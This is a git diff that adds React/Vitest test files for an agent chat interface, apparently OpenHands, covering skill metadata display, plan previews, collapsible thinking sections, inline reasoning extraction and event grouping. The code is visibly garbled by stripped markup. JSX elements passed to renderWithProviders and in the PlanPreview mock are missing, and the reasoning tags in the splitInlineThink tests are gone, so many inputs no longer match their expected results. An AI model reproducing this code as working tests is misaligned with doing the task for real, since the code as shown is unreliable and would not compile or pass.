+ const items = makeItems(["docker", content]);
+
+ renderWithProviders( );
+
+ await user.click(screen.getByText("docker"));
+
+ // The important text should be rendered as bold (strong element)
+ const boldElement = screen.getByText("critical info");
+ expect(boldElement).toBeInTheDocument();
+ expect(boldElement.tagName).toBe("STRONG");
+ });
+
+ it("parses and displays file path from metadata", async () => {
+ const user = userEvent.setup();
+ const content = [
+ "The following information has been included based on a keyword match for \"docker\".",
+ "It may or may not be relevant to the user's request.",
+ "Skill location: /home/openhands/.openhands/skills/docker/SKILL.md",
+ "(Use this path to resolve relative file references)",
+ "",
+ "Docker Usage Guide",
+ ].join("\n");
+ const items = makeItems(["docker", content]);
+
+ renderWithProviders( );
+
+ await user.click(screen.getByText("docker"));
+
+ // File path rendered in code element
+ expect(
+ screen.getByText(
+ "/home/openhands/.openhands/skills/docker/SKILL.md",
+ ),
+ ).toBeInTheDocument();
+ // Actual skill body rendered
+ expect(screen.getByText("Docker Usage Guide")).toBeInTheDocument();
+ // Metadata preamble lines are not rendered as-is in the body
+ expect(
+ screen.queryByText("It may or may not be relevant"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx b/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bd85783666e69acf0da9767cab91499a855d3ad8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx
@@ -0,0 +1,325 @@
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useAgentState, usePlanningAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import {
+ renderWithProviders,
+ createPlanningObservationEvent,
+} from "test-utils";
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => ({
+ data: {},
+ }),
+}));
+
+// Mock useAgentState (main) and usePlanningAgentState (planner) independently
+// so each test controls exactly one without the other's default bleeding in.
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: vi.fn(),
+ usePlanningAgentState: vi.fn(),
+}));
+
+// Mock useConversationId (EventMessage -> useAgentState -> useActiveConversation -> useConversationId)
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+// Mock PlanPreview component to verify it's rendered
+vi.mock("#/components/features/chat/plan-preview", () => ({
+ PlanPreview: ({
+ planContent,
+ isStreaming,
+ }: {
+ planContent?: string | null;
+ isStreaming?: boolean;
+ }) => (
+
+ Plan Preview: {planContent || "null"}
+
+ ),
+}));
+
+describe("EventMessage - PlanPreview rendering", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ useConversationStore.setState({ planContent: null });
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.INIT,
+ });
+ // A resolved planner id by default, idle, so the isStreaming-specific
+ // tests below only need to vary isLastMessage / planning agent state.
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: "planner-1",
+ curPlanningAgentState: AgentState.INIT,
+ isPlanningAgentRunning: false,
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render PlanPreview when PlanningFileEditorObservation event ID is in planPreviewEventIds", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "This is the plan content";
+
+ useConversationStore.setState({ planContent });
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("plan-preview")).toBeInTheDocument();
+ expect(
+ screen.getByText(`Plan Preview: ${planContent}`),
+ ).toBeInTheDocument();
+ });
+
+ it("should return null when PlanningFileEditorObservation event ID is NOT in planPreviewEventIds", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-2"]); // Different ID
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("should return null when planPreviewEventIds is undefined", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+ expect(container.firstChild).toBeNull();
+ });
+
+ it("should use planContent from conversation store", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Store plan content";
+
+ useConversationStore.setState({ planContent });
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByText(`Plan Preview: ${planContent}`),
+ ).toBeInTheDocument();
+ });
+
+ it("should handle null planContent from store", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+
+ useConversationStore.setState({ planContent: null });
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("plan-preview")).toBeInTheDocument();
+ expect(screen.getByText("Plan Preview: null")).toBeInTheDocument();
+ });
+
+ it("should handle empty planPreviewEventIds set", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set();
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+ expect(container.firstChild).toBeNull();
+ });
+
+ describe("isStreaming prop", () => {
+ it("should pass isStreaming=true when isLastMessage is true and planner is RUNNING", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Streaming plan content";
+
+ useConversationStore.setState({ planContent });
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: "planner-1",
+ curPlanningAgentState: AgentState.RUNNING,
+ isPlanningAgentRunning: true,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const planPreview = screen.getByTestId("plan-preview");
+ expect(planPreview).toBeInTheDocument();
+ expect(planPreview).toHaveAttribute("data-is-streaming", "true");
+ });
+
+ it("should pass isStreaming=false when isLastMessage is false even if planner is RUNNING", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Plan content";
+
+ useConversationStore.setState({ planContent });
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: "planner-1",
+ curPlanningAgentState: AgentState.RUNNING,
+ isPlanningAgentRunning: true,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const planPreview = screen.getByTestId("plan-preview");
+ expect(planPreview).toBeInTheDocument();
+ expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+ });
+
+ it("should pass isStreaming=false when planner state is not RUNNING even if isLastMessage is true", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Completed plan content";
+
+ useConversationStore.setState({ planContent });
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: "planner-1",
+ curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+ isPlanningAgentRunning: false,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const planPreview = screen.getByTestId("plan-preview");
+ expect(planPreview).toBeInTheDocument();
+ expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+ });
+
+ it("should pass isStreaming=false when localPlanningConversationId hasn't resolved yet, even if isLastMessage and planner state are RUNNING", () => {
+ // Regression: useAgentState(undefined) falls back to the route
+ // conversation's own state, so without this guard the code agent's
+ // activity could be mistaken for the planner's before the planner id
+ // resolves (e.g. right after "Create a Plan" is clicked).
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Plan content";
+
+ useConversationStore.setState({ planContent });
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: null,
+ curPlanningAgentState: AgentState.RUNNING,
+ isPlanningAgentRunning: false,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const planPreview = screen.getByTestId("plan-preview");
+ expect(planPreview).toBeInTheDocument();
+ expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+ });
+
+ it("should pass isStreaming=false when planner state is FINISHED", () => {
+ const event = createPlanningObservationEvent("plan-obs-1");
+ const planPreviewEventIds = new Set(["plan-obs-1"]);
+ const planContent = "Finished plan content";
+
+ useConversationStore.setState({ planContent });
+ vi.mocked(usePlanningAgentState).mockReturnValue({
+ localPlanningConversationId: "planner-1",
+ curPlanningAgentState: AgentState.FINISHED,
+ isPlanningAgentRunning: false,
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ const planPreview = screen.getByTestId("plan-preview");
+ expect(planPreview).toBeInTheDocument();
+ expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+ });
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx b/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b1f86eaf6979c9ae1c2c24882fcde89b900aa702
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx
@@ -0,0 +1,255 @@
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ThinkAction, ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { renderWithProviders } from "test-utils";
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => ({
+ data: {},
+ }),
+}));
+
+// Mock useAgentState
+vi.mock("#/hooks/use-agent-state");
+
+// Mock useConversationId
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+const createThinkActionEvent = (
+ id: string,
+ thought: string,
+): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [
+ {
+ type: "text",
+ text: `think: {"thought": "${thought}"}`,
+ },
+ ],
+ thinking_blocks: [],
+ action: {
+ kind: "ThinkAction",
+ thought,
+ },
+ tool_name: "think",
+ tool_call_id: `call_think_${id}`,
+ tool_call: {
+ id: `call_think_${id}`,
+ type: "function",
+ function: {
+ name: "think",
+ arguments: JSON.stringify({ thought }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.UNKNOWN,
+});
+
+const createBashActionEvent = (
+ id: string,
+ command: string,
+ thoughtText: string,
+ overrides?: Partial>,
+): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [{ type: "text", text: thoughtText }],
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: `call_bash_${id}`,
+ tool_call: {
+ id: `call_bash_${id}`,
+ type: "function",
+ function: {
+ name: "execute_bash",
+ arguments: JSON.stringify({ command }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.UNKNOWN,
+ ...overrides,
+});
+
+describe("EventMessage - ThinkAction rendering", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.INIT,
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should NOT render raw tool call text for ThinkAction events", () => {
+ const thinkEvent = createThinkActionEvent(
+ "think-1",
+ "Let me analyze the problem",
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // The raw tool call text should NOT be displayed
+ expect(
+ screen.queryByText(/think: \{"thought":/),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should render ThinkAction as a collapsible section", () => {
+ const thinkEvent = createThinkActionEvent(
+ "think-2",
+ "Let me analyze the problem",
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // The collapsible thinking wrapper should exist
+ expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+
+ // The thought content should NOT be visible initially (collapsed by default)
+ expect(
+ screen.queryByTestId("collapsible-thinking-content"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should expand ThinkAction content when toggle is clicked", async () => {
+ const user = userEvent.setup();
+ const thinkEvent = createThinkActionEvent(
+ "think-3",
+ "Let me analyze the problem",
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // Click the toggle to expand
+ await user.click(screen.getByTestId("collapsible-thinking-toggle"));
+
+ // Now the content should be visible
+ expect(
+ screen.getByTestId("collapsible-thinking-content"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText("Let me analyze the problem"),
+ ).toBeInTheDocument();
+ });
+
+ it("should render ThoughtEventMessage for non-ThinkAction events", () => {
+ const bashEvent = createBashActionEvent(
+ "bash-1",
+ "echo hello",
+ "I need to run a command",
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // The thought should be displayed for non-think actions
+ expect(
+ screen.getByText("I need to run a command"),
+ ).toBeInTheDocument();
+ });
+
+ it("should render reasoning_content as a collapsible section", () => {
+ const bashEvent = createBashActionEvent(
+ "bash-reasoning",
+ "echo hello",
+ "Running a command",
+ {
+ reasoning_content: "I need to think carefully about this step.",
+ },
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // The collapsible thinking wrapper should exist for reasoning_content
+ expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+
+ // The reasoning content should be hidden initially
+ expect(
+ screen.queryByText("I need to think carefully about this step."),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should render thinking_blocks as a collapsible section", () => {
+ const bashEvent = createBashActionEvent(
+ "bash-thinking-blocks",
+ "echo hello",
+ "Running a command",
+ {
+ thinking_blocks: [
+ {
+ type: "thinking",
+ thinking: "Extended thinking block content here.",
+ signature: "sig123",
+ },
+ ],
+ },
+ );
+
+ renderWithProviders(
+ ,
+ );
+
+ // The collapsible thinking wrapper should exist for thinking_blocks
+ expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts b/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3b5f8064d577e484b2f5f7c60af1ff41aea7c65f
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts
@@ -0,0 +1,86 @@
+import { describe, it, expect } from "vitest";
+import { splitInlineThink } from "#/components/conversation-events/chat/event-thought-helpers";
+
+describe("splitInlineThink", () => {
+ it("returns content unchanged when there is no block", () => {
+ expect(splitInlineThink("Hello! How can I help?")).toEqual({
+ reasoning: "",
+ message: "Hello! How can I help?",
+ });
+ });
+
+ it("extracts a leading closed block and keeps the trailing message", () => {
+ const content =
+ "The user wants a greeting. Simple. \n\n\nHello!";
+ expect(splitInlineThink(content)).toEqual({
+ reasoning: "The user wants a greeting. Simple.",
+ message: "Hello!",
+ });
+ });
+
+ it("handles leading whitespace before the block", () => {
+ expect(splitInlineThink("\n thinking \n\nHi")).toEqual({
+ reasoning: "thinking",
+ message: "Hi",
+ });
+ });
+
+ it("returns an empty message when the content is reasoning only", () => {
+ expect(splitInlineThink("just thinking ")).toEqual({
+ reasoning: "just thinking",
+ message: "",
+ });
+ });
+
+ // Regression: an agent that literally emits "" as its finalized
+ // answer (no closing tag) must render verbatim, not vanish into Thinking.
+ it("renders a finalized unclosed leading verbatim", () => {
+ expect(splitInlineThink("")).toEqual({
+ reasoning: "",
+ message: "",
+ });
+ });
+
+ // Mid-stream, an unclosed leading is reasoning still arriving, so
+ // it is hidden until shows up.
+ it("treats an unclosed leading as reasoning while streaming", () => {
+ expect(
+ splitInlineThink("The user is asking me to", { streaming: true }),
+ ).toEqual({ reasoning: "The user is asking me to", message: "" });
+ });
+
+ // Only the first block is peeled; a that is part of the answer
+ // (after ) is preserved verbatim.
+ it("preserves a that appears after the reasoning block", () => {
+ expect(splitInlineThink("reasoning \n\n")).toEqual({
+ reasoning: "reasoning",
+ message: "",
+ });
+ });
+
+ // Regression (reviewer): a that is NOT at the start must be
+ // preserved verbatim — only litellm's leading reasoning block is extracted.
+ it("leaves a mid-message reference untouched", () => {
+ const content = "You can wrap reasoning in and tags.";
+ expect(splitInlineThink(content)).toEqual({
+ reasoning: "",
+ message: content,
+ });
+ });
+
+ it("leaves an unclosed mid-message untouched", () => {
+ const content = "See the tag for details.";
+ expect(splitInlineThink(content)).toEqual({
+ reasoning: "",
+ message: content,
+ });
+ });
+
+ it("does not extract a block that follows real message text", () => {
+ const content = "Here is an example: not reasoning done.";
+ expect(splitInlineThink(content)).toEqual({
+ reasoning: "",
+ message: content,
+ });
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/group-events.test.ts b/__tests__/components/conversation-events/chat/group-events.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b2bc99762f8070504528cf77ed6f9bfbbb899f85
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/group-events.test.ts
@@ -0,0 +1,495 @@
+import { describe, it, expect } from "vitest";
+import {
+ groupEvents,
+ isGroupableEvent,
+} from "#/components/conversation-events/chat/group-events";
+import {
+ ActionEvent,
+ AgentErrorEvent,
+ HookExecutionEvent,
+ MessageEvent,
+ ObservationEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+import { TextContent } from "#/types/agent-server/core/base/common";
+import {
+ ExecuteBashAction,
+ FileEditorAction,
+ FinishAction,
+ ThinkAction,
+} from "#/types/agent-server/core/base/action";
+import {
+ ExecuteBashObservation,
+ FileEditorObservation,
+ PlanningFileEditorObservation,
+ TaskTrackerObservation,
+} from "#/types/agent-server/core/base/observation";
+
+const makeBashAction = (
+ id: string,
+ thought: TextContent[] = [],
+): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought,
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command: `echo ${id}`,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: `call_${id}`,
+ tool_call: {
+ id: `call_${id}`,
+ type: "function",
+ function: {
+ name: "execute_bash",
+ arguments: JSON.stringify({ command: `echo ${id}` }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeBashObservation = (
+ id: string,
+ actionId: string,
+): ObservationEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "execute_bash",
+ tool_call_id: `call_${actionId}`,
+ action_id: actionId,
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [{ type: "text", text: "ok" }],
+ command: `echo ${actionId}`,
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: {} as never,
+ },
+});
+
+const makeUserMessage = (id: string): MessageEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "hi" }],
+ },
+ activated_skills: [],
+ extended_content: [],
+});
+
+const makeFinishAction = (id: string): ActionEvent => ({
+ ...makeBashAction(id),
+ action: { kind: "FinishAction", message: "all done" },
+});
+
+const makeThinkAction = (id: string): ActionEvent => ({
+ ...makeBashAction(id),
+ action: { kind: "ThinkAction", thought: "thinking" },
+});
+
+const makePlanObs = (
+ id: string,
+ actionId: string,
+): ObservationEvent => ({
+ ...makeBashObservation(id, actionId),
+ observation: {
+ kind: "PlanningFileEditorObservation",
+ content: [{ type: "text", text: "plan" }],
+ } as PlanningFileEditorObservation,
+});
+
+const makeMarkdownFileEditorAction = (
+ id: string,
+): ActionEvent => ({
+ ...makeBashAction(id),
+ tool_name: "file_editor",
+ action: {
+ kind: "FileEditorAction",
+ command: "create",
+ path: "canvas.md",
+ file_text: "# Demo",
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ },
+});
+
+const makeMarkdownFileEditorObservation = (
+ id: string,
+ actionId: string,
+): ObservationEvent => ({
+ ...makeBashObservation(id, actionId),
+ tool_name: "file_editor",
+ observation: {
+ kind: "FileEditorObservation",
+ command: "create",
+ output: "Created canvas.md",
+ path: "canvas.md",
+ prev_exist: false,
+ old_content: null,
+ new_content: "# Demo",
+ error: null,
+ },
+});
+
+const makeTaskTrackerObservation = (
+ id: string,
+ actionId: string,
+): ObservationEvent => ({
+ ...makeBashObservation(id, actionId),
+ observation: {
+ kind: "TaskTrackerObservation",
+ content: "task list",
+ command: "plan",
+ task_list: [{ title: "Task", notes: "Notes", status: "todo" }],
+ },
+});
+
+const makeAgentErrorEvent = (id: string): AgentErrorEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ kind: "AgentErrorEvent",
+ source: "agent",
+ tool_name: "execute_bash",
+ tool_call_id: `call_${id}`,
+ error: "boom",
+});
+
+const makeHookExecutionEvent = (id: string): HookExecutionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ kind: "HookExecutionEvent",
+ source: "hook",
+ hook_event_type: "PreToolUse",
+ hook_command: "echo hook",
+ success: true,
+ blocked: false,
+ exit_code: 0,
+ reason: null,
+ tool_name: "execute_bash",
+ action_id: "a1",
+ message_id: null,
+ stdout: "",
+ stderr: "",
+ error: null,
+ additional_context: null,
+ hook_input: null,
+});
+
+describe("isGroupableEvent", () => {
+ it("groups regular action events", () => {
+ expect(isGroupableEvent(makeBashAction("a1"))).toBe(true);
+ });
+
+ it("groups regular observation events", () => {
+ expect(isGroupableEvent(makeBashObservation("o1", "a1"))).toBe(true);
+ });
+
+ it("does not group user messages", () => {
+ expect(isGroupableEvent(makeUserMessage("m1"))).toBe(false);
+ });
+
+ it("does not group FinishAction", () => {
+ expect(isGroupableEvent(makeFinishAction("a1"))).toBe(false);
+ });
+
+ it("does not group ThinkAction", () => {
+ expect(isGroupableEvent(makeThinkAction("a1"))).toBe(false);
+ });
+
+ it("does not group PlanningFileEditorObservation", () => {
+ expect(isGroupableEvent(makePlanObs("o1", "a1"))).toBe(false);
+ });
+
+ it("does not group markdown file-editor create actions or observations", () => {
+ expect(isGroupableEvent(makeMarkdownFileEditorAction("a1"))).toBe(false);
+ expect(
+ isGroupableEvent(makeMarkdownFileEditorObservation("o1", "a1")),
+ ).toBe(false);
+ });
+
+ it("still groups markdown file-editor view observations", () => {
+ const viewObservation = makeMarkdownFileEditorObservation("o1", "a1");
+ viewObservation.observation = {
+ ...viewObservation.observation,
+ command: "view",
+ output: "",
+ new_content: null,
+ content: [{ type: "text", text: " 1\t# README" }],
+ };
+ expect(isGroupableEvent(viewObservation)).toBe(true);
+ });
+
+ it("ungroups a markdown create observation when path comes from the action", () => {
+ const action = makeMarkdownFileEditorAction("a1");
+ const observation = makeMarkdownFileEditorObservation("o1", "a1");
+ observation.observation = {
+ ...observation.observation,
+ path: null,
+ };
+ expect(isGroupableEvent(observation)).toBe(true);
+ expect(isGroupableEvent(observation, action)).toBe(false);
+ });
+
+ it("does not group TaskTrackerObservation", () => {
+ expect(isGroupableEvent(makeTaskTrackerObservation("o1", "a1"))).toBe(
+ false,
+ );
+ });
+
+ it("does not group AgentErrorEvent", () => {
+ expect(isGroupableEvent(makeAgentErrorEvent("e1"))).toBe(false);
+ });
+
+ it("does not group HookExecutionEvent", () => {
+ expect(isGroupableEvent(makeHookExecutionEvent("h1"))).toBe(false);
+ });
+});
+
+describe("groupEvents", () => {
+ it("returns an empty list for no events", () => {
+ expect(groupEvents([])).toEqual([]);
+ });
+
+ it("requires minSize to be at least 1", () => {
+ expect(() => groupEvents([], 0)).toThrow("minSize must be at least 1");
+ });
+
+ it("emits singles when there are not enough actions in a row", () => {
+ const events = [
+ makeUserMessage("m1"),
+ makeBashObservation("o1", "a1"),
+ makeUserMessage("m2"),
+ ];
+
+ // 1 < EVENT_GROUP_MIN_SIZE (2), so the lone observation stays a single.
+ const result = groupEvents(events);
+ expect(result.every((item) => item.kind === "single")).toBe(true);
+ expect(result).toHaveLength(3);
+ });
+
+ it("groups even a pair of consecutive actions", () => {
+ const events = [
+ makeUserMessage("m1"),
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ makeUserMessage("m2"),
+ ];
+
+ // 2 == EVENT_GROUP_MIN_SIZE (2), so the pair folds into a group.
+ const result = groupEvents(events);
+ expect(result).toHaveLength(3);
+ expect(result[0]).toMatchObject({ kind: "single", index: 0 });
+ expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 });
+ if (result[1].kind === "group") {
+ expect(result[1].events).toHaveLength(2);
+ }
+ expect(result[2]).toMatchObject({ kind: "single", index: 3 });
+ });
+
+ it("groups runs of >= EVENT_GROUP_MIN_SIZE events", () => {
+ const events = [
+ makeUserMessage("m1"),
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ makeBashObservation("o3", "a3"),
+ makeBashObservation("o4", "a4"),
+ makeUserMessage("m2"),
+ ];
+
+ const result = groupEvents(events);
+ // user, group(4), user
+ expect(result).toHaveLength(3);
+ expect(result[0]).toMatchObject({ kind: "single", index: 0 });
+ expect(result[1]).toMatchObject({ kind: "group", startIndex: 1 });
+ if (result[1].kind === "group") {
+ expect(result[1].events).toHaveLength(4);
+ }
+ expect(result[2]).toMatchObject({ kind: "single", index: 5 });
+ });
+
+ it("includes a still-pending action in the group", () => {
+ // Last action hasn't been replaced by an observation yet -> the group
+ // should still include it so the header can show a running indicator.
+ const events = [
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ makeBashAction("a3"),
+ ];
+
+ const result = groupEvents(events);
+ expect(result).toHaveLength(1);
+ expect(result[0].kind).toBe("group");
+ if (result[0].kind === "group") {
+ expect(result[0].events).toHaveLength(3);
+ }
+ });
+
+ it("breaks the group when a non-groupable event interrupts", () => {
+ const events = [
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ makeBashObservation("o3", "a3"),
+ makeUserMessage("m1"),
+ makeBashObservation("o4", "a4"),
+ makeBashObservation("o5", "a5"),
+ makeBashObservation("o6", "a6"),
+ ];
+
+ const result = groupEvents(events);
+ expect(result).toHaveLength(3);
+ expect(result[0].kind).toBe("group");
+ expect(result[1].kind).toBe("single");
+ expect(result[2].kind).toBe("group");
+ });
+
+ it("respects a custom minSize", () => {
+ const events = [
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ ];
+
+ const grouped = groupEvents(events, 2);
+ expect(grouped).toHaveLength(1);
+ expect(grouped[0].kind).toBe("group");
+ });
+
+ it("hoists an action's thought into a separate item and starts a new group", () => {
+ // First three actions have no thought, then a fourth action carries a
+ // thought, then two more actions follow. The thought should break the
+ // first group and open a new one starting with the thought-bearing
+ // action.
+ const a1 = makeBashAction("a1");
+ const a2 = makeBashAction("a2");
+ const a3 = makeBashAction("a3");
+ const a4 = makeBashAction("a4", [
+ {
+ type: "text",
+ text: "Let me check tests for the new conversation button:",
+ },
+ ]);
+ const a5 = makeBashAction("a5");
+ const a6 = makeBashAction("a6");
+
+ const events = [
+ makeBashObservation("o1", "a1"),
+ makeBashObservation("o2", "a2"),
+ makeBashObservation("o3", "a3"),
+ makeBashObservation("o4", "a4"),
+ makeBashObservation("o5", "a5"),
+ makeBashObservation("o6", "a6"),
+ ];
+ const allEvents = [
+ a1,
+ a2,
+ a3,
+ ...events.slice(0, 3),
+ a4,
+ a5,
+ a6,
+ ...events.slice(3),
+ ];
+
+ const result = groupEvents(events, undefined, allEvents);
+
+ // group(o1..o3), thought(a4), group(o4..o6)
+ expect(result).toHaveLength(3);
+ expect(result[0].kind).toBe("group");
+ expect(result[1].kind).toBe("thought");
+ expect(result[2].kind).toBe("group");
+
+ if (result[0].kind === "group") {
+ expect(result[0].events).toHaveLength(3);
+ }
+ if (result[1].kind === "thought") {
+ expect(result[1].action.id).toBe("a4");
+ }
+ if (result[2].kind === "group") {
+ expect(result[2].events).toHaveLength(3);
+ }
+ });
+
+ it("hoists thoughts attached to action events that haven't been observed yet", () => {
+ const events = [
+ makeBashAction("a1"),
+ makeBashAction("a2"),
+ makeBashAction("a3", [{ type: "text", text: "thinking out loud" }]),
+ ];
+
+ const result = groupEvents(events);
+
+ // a1 + a2 group together (>= min size of 2), then the thought is hoisted
+ // out before a3, leaving a3 as a single.
+ expect(result.map((item) => item.kind)).toEqual([
+ "group",
+ "thought",
+ "single",
+ ]);
+ });
+
+ it("does not emit the same thought twice when both action and observation are present", () => {
+ const action = makeBashAction("a1", [
+ { type: "text", text: "thinking out loud" },
+ ]);
+ const observation = makeBashObservation("o1", "a1");
+
+ const result = groupEvents([action, observation], undefined, [
+ action,
+ observation,
+ ]);
+
+ expect(result.map((item) => item.kind)).toEqual(["thought", "group"]);
+ if (result[1].kind === "group") {
+ expect(result[1].events).toEqual([action, observation]);
+ }
+ });
+
+ it("ignores empty thoughts", () => {
+ const events = [
+ makeBashAction("a1", [{ type: "text", text: " " }]),
+ makeBashAction("a2"),
+ makeBashAction("a3"),
+ ];
+
+ const result = groupEvents(events);
+
+ // Whitespace-only thought should not break the group.
+ expect(result).toHaveLength(1);
+ expect(result[0].kind).toBe("group");
+ });
+
